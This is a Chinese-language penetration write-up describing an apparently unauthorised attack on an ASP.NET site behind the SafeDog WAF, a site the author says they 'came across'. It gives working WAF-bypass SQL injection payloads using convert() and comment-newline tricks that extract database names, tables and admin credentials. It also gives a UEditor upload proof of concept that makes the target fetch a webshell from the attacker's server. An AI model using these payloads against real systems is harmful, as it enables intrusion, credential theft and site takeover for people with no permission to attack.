记一次ASP网站+安全狗渗透
此处为配图
0x01:前言
偶然又顺到一个站,暂且不提网站哪来的,重点在于渗透技巧,记录一下渗透过程
0x02:信息收集
这里我们可以得到的信息有:.net的网站,web服务器为IIS,平台为windows。
这里参数随便测试一下,加单引号
可见出现了弹窗error,应该是它本身也带有过滤,由于IIS处理%符号机制可以绕过部分符号,空格可以用%0b,加号可以用%2b绕过。同时也可以使用convert转换报错获取一部分信息 。
经过测试:
- 单引号 error
- 双引号 未拦截
- 等号 error
- 双括号 未拦截
- and error
- select error
- %0bselect 未拦截
- %0bselect%0buser%0bfrom 未拦截
使用convert()函数收集信息,convert函数在转换数据失败时会将第二个参数以sql语句执行。
- ?gid=convert(int,@@version)#版本信息
- ?gid=convert(int,db_name())#当前数据库
- ?gid=convert(int,@@SERVERNAME)#当前计算机名
- ?gid=convert(int,user_name())#当前数据库用户名
- ?gid=convert(int,db_name(1))#通过遍历db_name(1)中的数字获取其他库名
- ...
得到信息如下:
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_76\SQLEXPRESS 10..76.
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB
0x03:绕过waf注入
此时已经得到了数据库名,接下来需要获得表名。先看看有几个表。
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数
尝试将sql语句嵌入convert()函数执行,虽然绕过了狗,但是没过去它自带的过滤...
此处开始抄作业,原理是在mssql中注释加换行同样成立。
payload:?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
但是继续注表名是需要 not in 和for xml path 的,这里始终失败。。。
最终查看了大量文章,得出如下语句
?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
此时只需要遍历top的数值即可,例如:
通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下: 首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)
然后使用字典去重工具即可。
表个数确实为31
解下来就是获取memberadmin表中的列名与内容,为了省事直接看源码form表单参数名。
盲猜列名txt_nickname、nickname、txt_password、password
用户名:?gid=--/*%0A(select%0Btop%0B1%0Bnickname%0Bfrom%0Bmemberadmin)-- */
密码:?gid=--/*%0A(select%0Btop%0B1%0Bpassword%0Bfrom%0Bmemberadmin)-- */
0x04:获得webshell
进入后台/admin/index.aspx
小彩蛋,这边也有注入
发现上传点/信息管理/新闻管理处为编辑器ueditor,且上传存在安全狗,即使通过字段溢出也无法绕过程序本身的白名单限制
不过上传组件为ueditor,且.net版本存在上传漏洞 poc如下
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
并在自己的服务器上准备好shell(注意过狗,最好是冰蝎马),名称为b.gif,然后填入shell地址,保持后台登录状态,因为需要cookie。
http://xxxxxx/b.gif?.aspx
提交即可得到shell路径
0x05:权限提升
失败//
0x06:结语
坑爹